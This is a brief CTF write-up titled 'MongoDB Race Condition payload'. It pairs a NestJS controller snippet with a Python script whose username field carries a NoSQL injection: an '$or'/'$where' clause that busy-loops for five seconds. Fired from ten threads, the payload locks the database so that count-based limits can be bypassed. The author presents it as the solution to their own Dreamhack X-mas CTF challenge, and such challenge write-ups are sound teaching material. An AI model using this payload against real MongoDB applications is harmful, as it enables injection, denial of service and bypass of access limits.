MongoDB Race Condition payload

Information

Target: MongoDB
Vulnerability: Race Condition

Desc

MongoDB Race Condition Attack with db lock.

Example

Code

// admin.controller.ts
@Post('list')
async getFlagList(@Body() listDto: ListDto): Promise<FlagDocument[]> {
	return await this.adminService.getFlagList(listDto.username);
}

Exploit

import threading
import json

# Logic Vulnerability - Database Lock
def lock():
    res = requests.post(f"{url}/admin/list", headers=auth,
                        json={"username": '''admin", "$or": [{"dummy": "dummy"},{"$where": "date=new Date();do{cur=new Date();}while(cur-date<5000) + 1 || true"}], "":"'''})
    print(res.text)

threads = []
for i in range(10):
    thread = threading.Thread(target=lock)
    threads.append(thread)
    thread.start()

It takes a long time to count the number of existing documents in the DB, so logic such as number restrictions can be bypassed.

Comment

This is part of the solution for the challenge I made. ( For dreamhack X-mas CTF )
Challenge Link
Ref